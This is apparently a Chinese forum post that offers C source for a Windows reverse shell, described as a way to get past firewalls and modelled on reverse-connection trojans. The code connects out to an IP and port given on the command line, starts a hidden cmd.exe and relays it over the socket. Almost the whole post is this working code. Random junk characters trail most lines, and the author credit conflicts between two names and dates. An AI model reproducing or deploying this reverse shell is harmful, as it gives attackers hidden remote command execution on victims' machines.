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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7th&C,c&  
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/* ============================== |}'}TYX0:  
Rebound port in Windows NT {,P&05iSi  
By wind,2006/7 i~ zL,/O8  
===============================*/ Vj~R6   
#include #_|b;cf  
#include zx;x@";p  
d:<{!}BR3  
#pragma comment(lib,"wsock32.lib") Bv3?WW  
~~'XY(\L@  
void OutputShell(); ;uR8pz e  
SOCKET sClient; rpDH>Hzq  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D&Ngg)_Mq  
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void main(int argc,char **argv) 4s0>QD$J  
{ $zxCv7  
WSADATA stWsaData; U/0NN>V  
int nRet; "QGP]F  
SOCKADDR_IN stSaiClient,stSaiServer; fv<($[0  
f8'&(-  
if(argc != 3) 9I^_n+E  
{ gy9!T(z  
printf("Useage:\n\rRebound DestIP DestPort\n"); pS0-<-\R  
return; ]7'Q2OU7  
} }ndH|,  
3#0nus|=S  
WSAStartup(MAKEWORD(2,2),&stWsaData); NWX~@Rg  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j0:F E  
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stSaiClient.sin_family = AF_INET; a/`fJY6rR  
stSaiClient.sin_port = htons(0); 4.CLTy3W  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f>Bcr9]]  
{*>$LlL  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ]'2p"A0U  
{ !Bu<6  
printf("Bind Socket Failed!\n"); _;X# &S(q-  
return; UmInAH4  
} ?G.9D`95  
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stSaiServer.sin_family = AF_INET; *A c~   
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); nSgg'I(  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y:*mAv;&  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a] >|2JN<&  
{ >N+e c_D^  
printf("Connect Error!"); Y5PIR9-  
return; .eq-i>  
} !=q {1\#  
OutputShell(); _qJ[~'m<^C  
} 2ORWdR.b  
}6m5MH$7q  
void OutputShell() >nvreis  
{ ,| xG2G6  
char szBuff[1024]; URJ"  
SECURITY_ATTRIBUTES stSecurityAttributes; NjsP"  
OSVERSIONINFO stOsversionInfo; ^vsOlA(4  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P,D >gxl  
STARTUPINFO stStartupInfo; *w> /vu  
char *szShell; 5\EHu8  
PROCESS_INFORMATION stProcessInformation; 'HW(RC0dR  
unsigned long lBytesRead; (WN'wp  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EzzzH(!j  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k= nfo-h  
stSecurityAttributes.lpSecurityDescriptor = 0; {TE0  
stSecurityAttributes.bInheritHandle = TRUE; .yg"!X  
G?>~w[#mQR  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )k29mqa`  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); kD MS7y<s  
( 9dV%#G\  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); v`x~O+  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^/Gjk  
stStartupInfo.wShowWindow = SW_HIDE; Mk,8v],-Tj  
stStartupInfo.hStdInput = hReadPipe; kDO6:sjR7  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .B#Lt,m  
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GetVersionEx(&stOsversionInfo); :qgdn,Me  
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switch(stOsversionInfo.dwPlatformId) ?R"5 .3  
{ ,<pql!B-  
case 1:  Q+dBSKSK  
szShell = "command.com"; bs%]xf ~D;  
break; ><`.(Z5c  
default: N]+x@M @^3  
szShell = "cmd.exe"; EsA^P2?_+  
break; Q7c_;z_  
} )@SIFE  
?_n.B=H`8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JJ qX2B  
V! "^6)  
send(sClient,szMsg,77,0); t'm]E2/  
while(1) ]2b" oHg  
{ kFD-  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); SL@Vk(  
if(lBytesRead) fVR ~PG0  
{ zL)S,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K"-N:OV  
send(sClient,szBuff,lBytesRead,0); \ov>?5  
} _eO+O=j_x  
else ;J?^M!l2=  
{ 3%|<U51  
lBytesRead=recv(sClient,szBuff,1024,0); l\$_t2U  
if(lBytesRead<=0) break; \Xxx5:qM  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  4uU(t  
} <w{W1*R9  
} q. BqOa:  
EY2s${26%  
return; B#EF/\5  
}
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